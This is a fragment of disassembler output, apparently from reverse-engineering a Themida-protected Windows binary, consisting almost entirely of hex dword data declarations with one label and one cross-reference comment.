0C007A50h, 5F3EE5B8h dd 0C9F5F563h, 12356EA4h, 0DFB88CE2h, 77683941h, 12FD3950h dd 130BB003h, 135EB813h, 88BADB8Eh, 0E5B24579h, 4AB558B5h dd 0B4F280AAh, 0E14C28E3h, 0CB8A5E3Ah, 17F01392h, 420F8915h dd 0EBF281F7h, 0DB5BDAEEh, 51F58C40h, 0B0538667h, 4F25907Fh dd 9E61ACEFh, 1D65080Ah, 20C8DA25h, 0E0951730h, 58A2355Bh dd 5A20FB1Bh, 163BA19Ch, 19EF39C2h, 0F6CF77B1h, 29FAB800h dd 0E1285A9Bh, 0BBEDDBEFh, 2FB9C284h, 8F811824h, 0DAEEA2BBh dd 0A069935Eh, 0EF04D1FAh, 8219850Fh, 406A5EAAh, 897F7DFDh dd 0FA4E8AF8h, 29CE34FEh, 0FF992E97h, 217B0161h, 6B5A5468h dd 0EEAC1CE8h, 21FAE54Bh, 7B05F711h, 68284741h, 4B2E2EB9h dd 0D2C857FFh, 218230FEh, 584084A5h, 9EE6981h, 20677125h dd 0A6A1A0C5h, 2BDE80E4h, 0E921A169h, 68A1A852h, 0C20B12BBh dd 4B362135h, 0D6123DD2h, 0F8641C56h, 87F042BEh, 63D58B40h dd 75FBB4A3h, 0B8200CF0h, 0B20FEA31h, 692D5458h, 162DD806h dd 21538F0Fh, 6D8C09B0h, 0F7B91057h, 0C72C5D7Bh, 8847604Eh dd 5D4854E3h, 6AC00411h, 97BA0FEDh, 0AED7CB49h, 0A46FC17Ch dd 187EABCAh, 7C6BC233h, 0FF7E3228h, 890351B0h, 4F4E8437h dd 0A71ABD87h, 0BF4E6008h, 719D2D09h, 0D7766042h, 740F549h dd 0F7003F65h, 0C9F6816Dh, 9F314725h, 8F1240Ah, 0CB3B51CEh dd 0F756F133h, 65F168C0h, 0BE6F4B90h, 80D5E441h, 0BED454EFh dd 6445971Dh, 21CE6804h, 0B6C118ECh, 6F28545Bh, 0BE0F826h dd 235810C9h, 5E32F976h, 5AAFC052h, 0E6ED4Ch, 70B63B44h dd 0C6820F0Bh, 0C11FE90Ah, 0CBE232C1h, 0E902FC27h, 21752CD9h dd 0C9C28018h, 0E7D81936h, 0D32F6857h, 0B7A39E11h, 0E1A62553h dd 5014A470h, 7B27B413h, 0B8D14A43h, 80C1C2Ch, 74137D25h dd 0E77FCED7h, 0B3B4E5E6h, 151A73Eh, 53DD8891h, 2C68EFCCh dd 0C9EF0734h, 4362130Bh, 1C025DCh, 1527AF68h, 103FB1E9h dd 62EF899Fh, 0ECB24D19h, 7D2EB353h, 259D5AC0h, 2F38146Fh dd 764E5AE2h, 0FE70AEB0h, 8289DAC9h, 1F35E9Eh, 4159C828h dd 322EC474h, 15250B6Dh, 0DE475501h, 0BFC38E0Fh, 0EC9A55A5h dd 1EF964CBh, 0FD5C0299h, 4C98CE4Ch, 9130497h, 0E39AB4C1h dd 7B39F73Ah, 1189C13h, 1C900230h, 0FD3F5F89h, 0B0CD06Dh dd 907A78E9h, 1F67230Dh, 0C5A1660h, 5018ACC9h, 134BB03Ch dd 0FB8D3F5Ch, 0B13BCDE4h, 60933B05h, 0C26B0181h, 0CBDC2923h dd 0BF1B1FD1h, 0F514B48Eh, 0BED524AAh, 0FA92C2B3h, 0B62FB629h dd 0E1222FCFh, 0FC2B64ECh, 83C22019h, 0B20B4ADFh, 89AA9715h dd 0A53DE7h, 0C6623B68h, 2255827h, 34FB036Ch, 0A5C2E0C1h dd 0AD81255Dh, 4B498AAAh, 197CEDB8h, 0B773F6E9h, 6748C4EBh dd 0B728207Bh, 100966DBh, 5FE67BDDh, 0FE517304h, 0BD02623Bh dd 6BA917C5h, 0E9135170h, 8789D923h, 3A5CDC50h, 0E14A5F97h dd 580702A7h, 5A41EFD9h, 8E3FF031h, 7E9717C3h, 5C822FF3h dd 60F7562Ch, 1C39B211h, 0C2A5CA80h, 35E99AF2h, 882EE978h dd 4B3CCAE7h, 3BF9D54Fh, 42B1E8E1h, 0C14A0913h, 875003EFh dd 0D330FC41h, 8043019Dh, 88F9891Ah, 21E63EC3h, 0D814D016h dd 194D81B4h, 0A7D83B33h, 535D85FBh, 0ED80BC04h, 0ABFD6EC3h dd 885BA8C5h, 8E594CEAh, 0F604840Bh, 1FD8A304h, 165EF7BDh dd 0BBEC16BAh, 0D16FC22Dh, 3E22B597h, 97C5CAF0h, 14F8705h dd 0DA0450DDh, 0E30C8205h, 631F5E79h, 280BE88Ch, 0BE6F816h dd 0C3F310Fh, 502A4607h, 0FF56278Ah, 7BDB58D1h, 11B83619h dd 0C7F1FE22h, 0BC056D30h, 0A04EBBF6h, 539F5D48h, 0E82D3BCFh dd 126218F4h, 2C557931h, 468841Bh, 2750F37Ah, 0BE0D4039h dd 2E6716D4h, 7BED917Eh, 8CC82F61h, 0B8030BC3h, 18A2293Ah dd 5607BF6Bh, 77D22A62h, 7A0B8959h, 0C11B7485h, 63337768h dd 0B850011Bh, 1E4B6545h, 934CCDF8h, 87363065h, 431C7A22h dd 0CD97E95Dh, 5189A2A3h, 0E98539DCh, 2DE31177h, 5715A704h dd 4E38560h, 0B8D7FC98h, 0DAEBD653h, 49E91FC7h, 18782667h dd 4A7C7B64h, 59BE839Fh, 7A9ED6B1h, 42FB8D97h, 92DC5CB9h dd 0F181D071h, 28BEC088h, 4DC9D56Bh, 0CC77F690h, 585078A3h dd 0F2D20474h, 0F3A684BCh, 2C86802h, 0ECC06256h, 513EBB3Fh dd 0B02F05B8h, 7116052Bh, 69E86115h, 7072D28h, 81585950h dd 0C40FE9C1h, 0FACA89C4h, 4FD544D8h, 8597D07Fh, 473BCF22h dd 0D6F71887h, 24E94208h, 8335B975h, 9D8E0FDBh, 0F1921140h dd 0FBDDB8B7h, 8023925Bh, 82C88EEEh, 9069CE5Dh, 32F20B06h dd 0D24035EBh, 11C5F6C5h, 7DEC1CE9h, 24E28009h, 0D2BEE80Eh dd 0BD4EF0B5h, 6225D270h, 16E4F86Ah, 0EF67E537h, 740B9741h dd 8640806Ch, 24AB0559h, 146D126Eh, 845F7E8h, 76AAE07Fh dd 17AE540Bh, 7596555Dh, 1687D339h, 4D655577h, 74085681h dd 6CD04F02h, 0F22D0F7Eh, 83B920B6h, 9043A98Bh, 5BDE5CA0h dd 8C0B1ED3h, 5914BB07h, 807603B5h, 7D51EAC7h, 0EB1BD08Ah dd 2D055666h, 7A0F7475h, 91284ABh, 2E1A5B07h, 15E118C2h dd 20A46840h, 7D82B59Bh, 50F7934Eh, 0BC6B6D9h, 6D747729h dd 68F06D6Dh, 1D3E59DEh, 9CF3C87h, 25C1C6DFh, 195CC331h dd 3C48696h, 0B85E51A3h, 28FE4E9Fh, 0F02FE9B6h, 4442F930h dd 69F0BEE8h, 21720CEEh, 0EA0C2853h, 6BF20516h, 1C80408h dd 8D7825B8h, 0A8C0E975h, 0D520597Dh, 18BFEA4h, 516192Fh dd 24C0F995h, 5D79D6A5h, 0FE01782Dh, 695F0B39h, 20590127h dd 30C5B450h, 0CB81E24Eh, 8D7061C2h, 168BB0EDh, 52C7E9B7h dd 2CFFE0A1h, 125AD040h, 0E866AC04h, 70ED1339h, 0B40C77EFh dd 386B86Eh, 0CE80C3B6h, 0F54AD1CDh, 4ED85265h, 5BBFA6B0h dd 86E7AD09h, 0FE2DB4E9h, 0F5174CE4h, 815F52C4h, 3AEF714Bh dd 38C5D0B3h, 4361BA49h, 0C93BEE2Fh, 0BB736065h, 9CB2774Eh dd 2790578Ah, 5D6CBA57h, 80BE59D9h, 0FB2469EDh, 13DD0146h dd 0E8B937E9h, 53AA97D2h, 2E3050Ah, 94438142h, 0A3BE0406h dd 0BDF31057h, 0BEE6975h, 0C1B6C906h, 4789FBA0h, 5539322h dd 6CB873F1h, 0ED72B1ACh, 4952C21h, 978F0FCCh, 18024A0h dd 0DCF654C4h, 947B6FE9h, 13BDC215h, 9CB83DD4h, 0AFCA2FADh dd 3B087B11h, 0DD309AE5h, 0A40FDB2h, 0A2A86484h, 1B9552A8h dd 0DFB1C9CBh, 0CBDE672Dh, 0B5E8B93Fh, 6CED0C3h, 81A81D57h dd 9729E340h, 0FB718702h, 1866FB55h, 9D3ECEDAh, 98EA0282h dd 8CDAD970h, 0C1DF484Ah, 353D3A7Eh, 4FA744h, 0CD055F40h dd 1193263Eh, 0C83B0042h, 5DAF2D22h, 9C63D826h, 0E907503Eh dd 45900D5Eh, 90A5EC6h dd 0D60116D0h, 6B40F180h, 1A906D44h, 0E735CD01h, 0D54CE967h dd 4F7A5E02h, 0F8FA192Ah, 56E3F02Dh, 70015913h, 0B64042C8h dd 643F00BBh, 0F3811520h, 3C02787Eh, 0ED8A0F4Dh, 97B8AF2Ah dd 3FF8A957h, 155F550h, 0B85ECA8Bh, 42076A46h, 6FDCE5DEh dd 0BE04AC13h, 716E7DAh, 1735C0EBh, 0D7AEB31Bh, 0E2C29525h dd 0D6DF6ABEh, 52095C15h, 0EC67A168h, 133E2E19h, 472C3F6Bh dd 36BFC138h, 45B9609Dh, 8A62C905h, 0BFD901h, 441FC578h dd 3D3E0538h, 56FD834h, 482871D8h, 71DFD94h, 0E9171168h dd 0FEB2E487h, 0B100C84h, 9DB4575Eh, 6D01F52Fh, 70D8442h dd 57E70001h, 0B72C2F44h, 0A8A6ED7Ch, 0A7CFF60Fh, 0EF60279Ch dd 5B204764h, 3A67B01Ah, 0EBED259Fh, 7E76B6E2h, 0F43D3056h dd 709BC31Dh, 52BF01B0h, 5808814Ch, 0CFA8A23Bh, 0FE024B83h dd 0E1E2C416h, 6CB03F6Fh, 0B72F75EFh, 2A124645h, 58513DCCh dd 0ED10D456h, 10A4CA0h, 58E2204Dh, 4D70D2F6h, 0D8E91292h dd 0D3C950AFh, 3AA4124h, 30DD7DC9h, 615D0C05h, 0EA21810h dd 75B85001h, 3B9C78B2h, 0EE04CCFCh, 9F54BB4h, 38FC4CCEh dd 0EF4B4448h, 2B345439h, 0D40E61BAh, 0C21AF668h, 8269755Ch dd 0DEAE110Bh, 5282E905h, 64DA89CBh, 1DABC820h, 0B2EC8059h dd 99618B06h, 0B1EB451Ch, 0A1F02A10h, 3EBB4123h, 4ACB5BBDh dd 0E6C07EE0h, 0C6800803h, 0CF528A9h, 0C579E927h, 45E1BA73h dd 0C50CFE63h, 58432277h, 8E8B87D2h, 5EB545F0h, 5168600Fh dd 145F2264h, 6AC0F5FDh, 21307C58h, 36E7ACA3h, 88006AFFh dd 313B2C18h, 12415AD1h, 0CC0C4068h, 1D0BD427h, 0C8011064h dd 24685960h, 0C1CF4AF0h, 30AB56ACh, 0FB48EB3Bh, 5D282713h dd 4C6FEAA3h, 47E94690h, 1C677ADCh, 83BA2DC0h, 5E189265h dd 62D9C2h, 7C353497h, 0F7429161h, 0D725D802h, 6033D14Ah dd 0EC484F04h, 82FA9001h, 9D0E78CDh, 142FC7DBh, 0E6E92DCEh dd 56BAF780h, 2900323Fh, 709FCA81h, 2EF71151h, 126757D2h dd 813B9C2Ah, 1BEE55F8h, 86E03B4Ah, 68782677h, 0E05D1361h dd 7FF9F8E9h, 0D23A7AF7h, 0D4BCFC4h, 423FF239h, 1BE9580Ch dd 0B814ED4h, 81647408h, 0DA70FFDh, 772D43D6h, 0A326E595h dd 0CF2F141Ch, 10E9824Fh, 59530127h, 0B72A73Dh, 22C64EB6h dd 4B7F4344h, 52F82FC5h, 5A3421BFh, 0A1613E57h, 0FBA09F09h dd 545125C9h, 0D7C5D9ECh, 0BCB6CE68h, 98041C00h, 8ACCE912h dd 82EACDC6h, 0A8845FFEh, 968C7ACh, 5AE0F48Bh, 4C30D858h dd 1005200Dh, 0B5197141h, 3DD1AE2h, 0A2FA6AC8h, 5F94C9A7h dd 1241CB2Bh, 0F84BDF75h, 59667FCDh, 6806799Bh, 31F76BACh dd 0F5951563h, 0F6FFDC75h, 615F659Fh, 86C78BE9h, 22F1806Ch dd 0A3155006h, 0ED014E05h, 2A73C90Bh, 81EC256h, 3CF4F913h dd 4B5C0CC3h, 9F0C2D1Dh, 0FD1AF105h, 0A691DD89h, 5F1625Ah dd 4DA7320h, 0F749E44Ch, 0FCA884DBh, 1940489Fh, 48501C97h dd 1612E360h, 0CBAAFD91h, 8DF04E66h, 0FEB28389h, 89FBE5F7h dd 0CC16F729h, 1EE9FD0Eh, 0E5E114DEh, 0EF67D0AEh, 3249FC0Ch dd 65170788h, 1125E949h, 0B8259FADh, 0DE89DA53h, 9A3C6B5Bh dd 36E75FFBh, 0FC081026h, 0C5812F3Fh, 335B8Bh, 0C605E7C1h dd 60BC5612h, 574A83FEh, 71C77150h, 2E3B7F74h, 41655801h dd 0CB296208h, 2B390B55h, 7FDB62CBh, 6BA32A34h, 0BF250BE6h dd 4ECAD9ECh, 9F8542FFh, 645C31FDh, 0C0DFD630h, 89DB092Dh dd 0E7A15FF8h, 7ABD14E9h, 969F8AE3h, 0F11B093h, 0B8408816h dd 0C03CE3EDh, 0C7B1748h, 0FC71E9ECh, 22B8F742h, 93C05FE0h dd 0CC756EEBh, 7437746h, 134582F3h, 0C1C3D533h, 306C1BC3h dd 78505499h, 7E95098Bh, 43320FF5h, 0D889BEE2h, 48808B65h dd 69253635h, 32E9EC32h, 0C6732EBCh, 0D5F6A05Ah, 524AB392h dd 5D8F44B9h, 9A70B9C9h, 0D373667Bh, 0DD0A5A67h, 4E1251D3h dd 0B556AE36h, 88BE9E52h, 0B7413275h, 5761F07Bh, 9A7F9490h dd 0F610BA30h, 0D721C0Ch, 61870F44h, 9FE62E2Dh, 71DF3D3Dh dd 785251BBh, 0F7E9A056h, 20BB93Ch, 3DF31D3Eh, 5371A6D6h dd 12BEC644h, 0B5EBA2CEh, 1238F3EAh, 30EFB681h, 11256E0h dd 0ED038888h, 8212746Bh, 0D4FC71EDh, 853FCA60h, 94A5820h dd 0FCC4541Ah, 6F881C41h, 5DA7CE46h, 80FD0F35h, 3E4471EAh dd 0C2D8FF96h, 0BDF96999h, 607D4981h, 4BA56E2Eh, 10C0806h dd 0EC27F50h, 42F7015Bh, 0A9F03481h, 3898097Fh, 0FB65DF72h dd 7254308h, 58EA2980h, 51003CFh, 0E7948CBh, 4918700Bh dd 0C7028168h, 841BE56h, 81FA07E9h, 253E3C4Bh, 934C55C6h dd 0E971F9B5h, 9B481FFCh, 6802E710h, 3AFE368Dh, 0FCE57B40h dd 5E986701h, 0EBB7800Fh, 361D9E51h, 245C2900h, 0B525E598h dd 0C05F1DDh, 532AD498h, 3EB06805h, 4CE231D5h, 0ECA28D4Bh dd 0C180941Fh, 810801EEh, 0AB767BE6h, 302F204Ah, 3A0A5424h dd 0D8DF480Ah, 51DDE442h, 116885B2h, 0A2C78D3Eh, 8000DF56h dd 0EEC06CCEh, 2D850F02h, 64E91DF9h, 0EA8FE4F3h, 89026C96h dd 5DE88AF2h, 7092F6C8h, 510D182Fh, 0BED602C1h, 2F5796Eh dd 0F6B4E936h, 76762F30h, 0B0B051C7h, 0EED0F621h, 6A884C76h dd 66C9FE00h, 301CB252h, 9F0D148h, 0C6FAA2E9h, 6E7420F5h dd 370952B5h, 0D2AE1033h, 76F6022Fh, 78C08042h, 974AFA4Fh dd 5FF6EE48h, 0C62BEE13h, 3F98C9FFh, 59F121ECh, 9257C286h dd 7B6DC28Ah, 52E41624h, 89D641EEh, 51888286h, 5EC15F2h dd 5B3DC05Eh, 98BAB00Eh, 72316AFEh, 8D663F2h, 0E9B98746h dd 0A279C640h, 75C23DB1h, 7EEBC580h, 5A762B62h, 3BE16814h dd 0DCFBD3EBh, 0EB6501FAh, 6BF85DE9h, 97E5B64Bh, 0A71374F9h dd 871EFC1Ah, 0C1A205B5h, 0B8F455Ah, 1B218468h, 446C19E9h dd 4152AB50h, 4F40904h, 0C0F22790h, 5AD72F28h, 5B6FA45Dh dd 688239F2h, 2E7927FDh, 0C553CB82h, 0D090C34Fh, 0EA38520Bh dd 90BE4B45h, 440DE5F9h, 8546622Eh, 6520FC02h, 17AFC06Ch dd 2F133B1Ah, 5739C907h, 7CC60B5Ch, 405B44C1h, 0C57B463Ch dd 1A17BA4Fh, 0CE7601BFh, 9CEF7C12h, 0FBA51870h, 9705AABFh dd 0EDC09959h, 5B743C0Ah, 6910BE06h, 88974F08h, 120E6AA7h dd 0AB8A6CFAh, 0B3D22084h, 92CE313Bh, 29FE10DDh, 0EB9805C8h dd 0D9A8F782h, 0D8183C53h, 0CE59771h, 231D161Bh, 0F3FAF092h dd 0E88ABDDFh, 21554B04h, 660868C5h, 9F386F49h, 8339FE5Eh dd 344FA140h, 483C9057h, 0B610A1EAh, 0D5F71D60h, 0C4B4B2FEh dd 0B3E9CB55h, 0A2EF8491h, 8A127AC5h, 60BB0125h, 0C9CC0556h dd 569A6D17h, 0CD12D6ACh, 2C98BAD6h, 59770968h, 0EA5D7BCCh dd 135756A0h, 54AF0142h, 70FA8952h, 14B55A1Fh, 0FD2FF5B6h dd 15538727h, 34781308h, 2594913Ch, 9ED52828h, 0C0F1844Bh dd 255B36Fh, 36AFEA81h, 76839BEh, 0D5B392EBh, 2930B10Bh dd 162A0F11h, 0F0995CD6h, 37655C9Ah, 4CE5B0A5h, 0D8B15103h dd 98CAE980h, 4A2853C1h, 3B31B8CBh, 3AE33F39h, 6110E1EBh dd 0E3EA5866h, 793DE265h, 8B40B12h, 0AC77E557h, 1D60271Eh dd 67541F68h, 63BE2082h, 0EBAF7627h, 0B5E04D54h, 3C4F4427h dd 364ED3F7h, 789D0D66h, 80AB4F34h, 289A05E2h, 9946C09h dd 16B245C1h, 0EC420641h, 3E4A87D0h, 0B686F00h, 24210C57h dd 0C99F5659h, 2F18DC0Fh, 0B4D3B237h, 7138A1Fh, 0D25AB9h dd 1C4E5458h, 0F35C291Bh dd 0E90840F9h, 8B2177Eh, 0C159CF04h, 0FB8E08E7h, 0F49F5639h dd 9EF38042h, 0E960A808h, 4977AD2Dh, 0B16E5A71h, 0D32E3CAFh dd 74C27004h, 0F14FA012h, 0EAA946BDh, 3B4E1h, 14473CB1h dd 24EDAE9h, 0B756F288h, 0DD57D322h, 0F690CEFDh, 0A3860D1h dd 172732Dh, 0D23D48h, 2A226D9Ah, 5B2F581h, 684B2823h dd 0F08DAE5Ch, 26E3A420h, 8C7452h, 0E18102E9h, 0F5270430h dd 0C92DC044h, 6C411824h, 2FC11118h, 5541B00h, 7DE9CF89h dd 0F19FA917h, 97DA1160h, 0DF49B1DCh, 24357C69h, 0C409BE9Ch dd 321EF7Dh, 301190Fh, 927C0A14h, 0EDD95753h, 56B7634h dd 2E866850h, 0F0FD61FEh, 7F3312h, 0C0BBF57h, 4801757Ah dd 5584B0FBh, 0C091272h, 0C9555EBAh, 0C1BF515Ah, 2E5C8Fh dd 2587B861h, 0D49D53F6h, 0A695BFDCh, 0C900BDEDh, 30253A68h dd 0C02D8B0Fh, 62035171h, 0C8729CE9h, 5404E198h, 5816EB31h dd 7BD6D1FEh, 0CBAF04BAh, 0E109E85h, 4F1C244h, 7FBC0B39h dd 0BE788249h, 2DC95377h, 0E946B0DDh, 859E54FDh, 104F796h dd 0BF4E7EFFh, 6499ED3Dh, 47EC4BC8h, 30D5D69h, 1758BF82h dd 8CFD663Bh, 7512B31Bh, 96B0BB34h, 0CCD251F7h, 5B275A2Ch dd 0F8EBF4A5h, 2DAD00F7h, 4CB22251h, 0FA82BD01h, 7A77DEC9h dd 0CD8102C6h, 0ED62AA1h, 8D4A980h, 0E91767F6h, 1CA3C7C6h dd 0C8D4CB3Ch, 0E2300472h, 0C1374564h, 0D3ABD0h, 32856853h dd 29AC28B0h, 61A049E3h, 0E93EC39Dh, 0CFFFB81Eh, 103005A6h dd 0E5C5B9BDh, 892CE278h, 501270CBh, 0D90C0BD0h, 67D5F477h dd 0B55C14C9h, 0CF3FFD3h, 5FBB361Ah, 82DEB960h, 0FAB58F7Eh dd 1BF20B95h, 1F806817h, 2C347779h, 0C8FD0128h, 0E9CD0888h dd 9D85402Ah, 0EFF0501h, 0D829670Ch, 1347C030h, 117E1Fh dd 1E26A366h, 80130F3Dh, 7A4090A5h, 0DF5ECEF3h, 8D8CA047h dd 0E2E98082h, 5B02DAB4h, 0EC18C168h, 63F209C3h, 0DFA96E1Ch dd 0DEBD9FD8h, 0A620DB8Ch, 4E4676EDh, 0FEFFC431h, 0C117ACDCh dd 0F8E28175h, 63F5CE60h, 6B238AC2h, 0E905E083h, 0EB4BC1Ch dd 0DE97534h, 0C59D0B70h, 0CD698C7Dh, 0C910E653h, 8213011Ch dd 7FE3E17Eh, 9D708281h, 0B953001Ah, 1E0238DAh, 33B22F68h dd 11227A66h, 27CDE29h, 12581A05h, 70D77441h, 50098638h dd 82571BF3h, 0A0D4F2h, 0B1D2C305h, 0AA01D526h, 0D330851Eh dd 785352C2h, 0ED19F88h, 0C6A2E984h, 0C245B3BAh, 0F40DB2E9h dd 0A80162DBh, 0F9CE8803h, 0EA73C97h, 0FE1494F7h, 888B9DECh dd 0D669ABF9h, 8F6C20Dh, 0EE968009h, 0BD262718h, 68228CE1h dd 0C7777764h, 97467127h, 0F66885Dh, 29E95302h, 67B8FECBh dd 0B910D8B5h, 4914979Eh, 2374BE3Eh, 0B8F62997h, 0CE27E90Ah dd 3F130512h, 0C79E803Dh, 27B0535Eh, 2F15F8B7h, 0C07A1860h dd 179DB620h, 13775CBEh, 3FC2EB24h, 7A38C0DEh, 8BC88325h dd 0E582C68h, 1B0C10Fh, 973DE3E9h, 1A58B675h, 96000243h dd 71A129ECh, 0AF4DF197h, 0B184A07Dh, 0D3D1F61Dh, 0ABE32104h dd 0D4C310D2h, 47782501h, 8C60877h, 0B2108326h, 490C051Eh dd 5BF63B54h, 489E0720h, 0E9942152h, 0C38140C8h, 4685FFEh dd 0E6307B63h, 902D53FBh, 0C3BD4EB0h, 0AAC1664Dh, 59AEC75Bh dd 60526812h, 3064A3B6h, 9F594C4h, 0C05C88E9h, 6A33D927h dd 0EEF40A6Ch, 0D1328EECh, 2FDEAA16h, 53289F49h, 647339E8h dd 46518AEh, 0C0A06B16h, 5A75E575h, 0C14B311Dh, 6E010697h dd 4DAE62F4h, 0AAE660C6h, 9812F61Eh, 57430BAEh, 5C04BB65h dd 1E30F2B9h, 684EC828h, 0E170BFEAh, 0C04986E9h, 6BD8F5CFh dd 0C49072CCh, 1B21E809h, 0F02404CAh, 818A34EFh, 0C0E8B426h dd 52165BFCh, 10EFE288h, 0AA5E8254h, 0A67F8F2Dh, 0FC08633h dd 15EB0481h, 8127B328h, 0DC5CE711h, 6CB85D1Fh, 560D8E80h dd 0E9251B0Bh, 455AA06Fh, 0A838DD68h, 0D2514CB7h, 5D1844EFh dd 17FF1EC7h, 64AAEB28h, 2B5182B7h, 0C452C5DCh, 72D321B4h dd 87C5FE8Bh, 1F4FA0Ah, 0D81E60F7h, 8974E70Dh, 9DFBE9D8h dd 2DE57BD1h, 563AFC80h, 0BF0190E9h, 6A015099h, 3B0773B2h dd 0B33EFD1Bh, 0F516DDE1h, 38BAAC36h, 0F4BF899Bh, 58CB89DEh dd 0B095B76Eh, 0D3BF125Bh, 8093A948h, 7A7806EBh, 0A2017643h dd 79080BCBh, 0E0D302D9h, 0A5615052h, 2B978B85h, 69DF7CE5h dd 26494703h, 5AED5702h, 5D6BE415h, 8831DD0h, 0CF2DFBE5h dd 8F590C3Bh, 0FDAB5F5Ah, 4B5B7010h, 0BBBF5707h, 81052043h dd 4A789FF7h, 0E70E3576h, 361050E9h, 6DAB5C01h, 0DEE80EA9h dd 55DEBDC8h, 0AF73F15Bh, 8BB2A33Bh, 3408051h, 18437F35h dd 2BF484E9h, 914DEE3h, 9A32F3h, 0BEC6D0B7h, 905BDF89h dd 14C713C4h, 0F9C7ABAEh, 9605F370h, 0E60CCE50h, 1A938ECFh dd 80260A4h, 0CBEAA4E9h, 9C2056F6h, 0DF230209h, 0BBAEA39h dd 4CBB5D08h, 0F0A958EAh, 0B4371CFFh, 0BD828A38h, 23A940F5h dd 0CEC10BECh, 63566AE7h, 1929CBF0h, 2E798615h, 0C58105F2h dd 6E20B12Dh, 1E28EA0Ch, 80103E54h, 7A901FD2h, 9440B4E9h dd 34F209BFh, 807523F7h, 1B83FAB2h, 3F102FE9h, 682DF346h dd 0C909FC06h, 0D00266F2h, 0C0DBF6EBh, 474055E3h, 0DD383015h dd 59EE045Bh, 0BEC9F708h, 0C2A2E37Fh, 463D74E9h, 0F80124E7h dd 88AD120Dh, 1F13B502h, 17095266h, 81A05FA6h, 799A0D58h dd 5D8F701h, 0B2AA4011h, 1516B762h, 8F90AEBCh, 2F6E86C2h dd 2D6225Bh, 2613650Ch, 0B33652C3h, 5E26CF1Eh, 228BCC3Ch dd 8A09F717h dword_4F1E38 dd 2367069h, 0E23A2459h, 73C4DD4Ah, 74152191h, 0C0FE1791h ; DATA XREF: Themida_:0056AC61o dd 0C6301304h, 5AF0EC81h, 5360B071h, 0C3A4445Fh, 0A615990Bh dd 7C418D13h, 98E90800h, 0F5AC1F5h, 7F4F8286h, 7929F549h dd 7D1180B2h, 0C3256F94h, 35326301h, 6905D0F7h, 0BD36F5E8h dd 0A37BA40h, 7A937782h, 6EDA92D1h, 7CC0F0E3h, 0BB7EA822h dd 57DD880Ah, 0FE128681h, 0F4788AF2h, 930ABEEEh, 1042F805h dd 5E2D2F3Eh, 8D3D7ED4h, 20EDC1DDh, 40AAE9D4h, 0C2248071h dd 1B3D1C8Dh, 0D57F5C30h, 0D4494B8Eh, 2595522Ch, 0EAC15D24h dd 98D93E53h, 4F282960h, 0C8F1CC46h, 0F6DAE915h, 9B8A08A6h dd 0E1D10BBEh, 0C89DE158h, 0BA3684BDh, 4045B4F2h, 1156E954h dd 415A3596h, 10572A2h, 917CA1C2h, 0D6E3400Dh, 70E5BA4Ch dd 5A806BB6h, 7352A68h, 5BA1814Dh, 0F3ED8000h, 0E2B69CC4h dd 97E00413h, 4C748166h, 575801CEh, 0D6AF33DCh, 0A30601A3h dd 2A7F036Dh, 0A4B788FCh, 0D02D00BAh, 0C0CCA916h, 4679489Ch dd 0C34C2945h, 0E9084049h, 0ECC4E05Bh, 4E74A305h, 710130A3h dd 0E922B576h, 2C003FCDh, 0C905E8BFh, 0BEF3F40Ch, 40481E92h dd 77FEF2EBh, 0A6B4C289h, 0C8D30150h, 0F63AAD44h, 14D1C49h dd 6D4E2DF8h, 0BA421090h, 0BF41D25Dh, 0B26B25C0h, 2499A2Fh dd 99EEAB3Fh, 304268A6h, 0B3D0D558h, 7BA454B7h, 0BFF6B020h dd 0DD830374h, 340DAA3Ah, 0C1070470h, 3A1C5EF6h, 351030CAh dd 17075FD7h, 3B880891h, 80DBB685h, 0F89505C6h, 3AF02025h dd 0B3F4CDFEh, 0F3010C2Ch, 0E0D42473h, 2DA6A8B1h, 9E4522DBh dd 51D75C25h, 56D33BFCh, 3EF8D38Fh, 5713460Ch, 55778C13h dd 76CD8102h, 43534E58h, 0B19F8064h, 0DC5997ACh, 8B84926Eh dd 0F14BDCA7h, 57E76BEFh, 8A191E58h, 7EEADB06h, 0C6B29097h dd 0B7C7FFF1h, 72A56807h, 0B6E5570Bh, 5093892Ch, 0DD01B182h dd 0F0A70F79h, 0CB9C306Fh, 78B6BE1Eh, 1FDF27h, 2BCCE6A4h dd 12976C2h, 0AB3A1AC6h, 48F2314Bh, 0E4FF4A22h, 0A0D89852h dd 0A227622Ah, 25605FE3h, 519D57E4h, 8B71422Bh, 4B70E903h dd 0FE3BA57Fh, 5B4E4470h, 0F78A47FAh, 0EE6831F9h, 6EA97B54h dd 0A72C84h, 0FE91EB80h, 50F3EAC3h, 49A9E354h, 16791C7Eh dd 0B2EEE909h, 544D04D2h, 0E1400E76h, 3EBF7D91h, 59B09190h dd 30F6C5Ch, 5925A9C1h, 0B89EDF47h, 81A6F2B5h, 58B2C51h dd 1ACE6FA5h, 7CC10FFh, 13268B4Bh, 35E39F79h, 966B5096h dd 0E920E403h, 654CADB0h, 65782031h, 0D3323630h, 1706C11Ah dd 4DB3850Fh, 0C40D030Ch, 0E9280674h, 1C5C59AAh, 313C4FC2h dd 2ED32829h, 11E2955Bh, 8ADF0989h, 9D12DF99h, 0A0F9E6F1h dd 38DF45ACh, 707E7D80h, 0F5DD80BFh, 0EBDCF8A0h, 0CBEBE3D2h dd 0D3E9044Fh, 0CAA60110h, 180E683Eh, 9A9E5385h, 0C003B929h dd 96AF0A40h, 5FF10F1h, 8BFB4056h, 3D688280h, 98027248h dd 0D7BF7B7Eh, 0D237BE54h, 0A9ED37B5h, 0EF0B657Fh, 0A4D1BA20h dd 0E433507Bh, 0B6CA513Bh, 42920E04h, 0DB84146h, 9521C04Eh dd 5EEE9930h, 0ECE741E7h, 0DB648457h, 5B04A1D0h, 455F615Fh dd 7E0F8EC2h, 5AB3D54Ch, 0E9F06FE1h, 2AFDE9B3h, 304A27A6h dd 6DFAE920h, 0DF07A7B5h, 0F4F77682h, 0FF82E988h, 919A4A9Dh dd 0F55CBDC2h, 4257ED81h, 0BD7A3A7Ah, 0F353DE47h, 259221E9h dd 0F209BF98h, 35862055h, 28088D71h, 0BF062D58h, 68610651h dd 316A7AEBh, 81CA743Dh, 0B3536650h, 0D0402041h, 0E4C8305Bh dd 0F608C1C1h, 68D5E9D9h, 0DF204AC3h, 0B55DEA29h, 0A6308064h dd 64E7D581h, 72D81417h, 3E2EAD4Fh, 0A1DB3D0Eh, 49853E0Ch dd 8E18BBEh, 2548B9E9h, 7209FEFEh, 8B3B5533h, 7E3BF0D9h dd 257C218Ah, 76E66D54h, 98ADFC27h, 815F3ADFh, 0E4826E5Dh dd 267A7749h, 8C17DD0Eh, 0F843DE7Dh, 0DA06BB0Ch, 9D6485Bh dd 0E874BFFBh, 0D139756Dh, 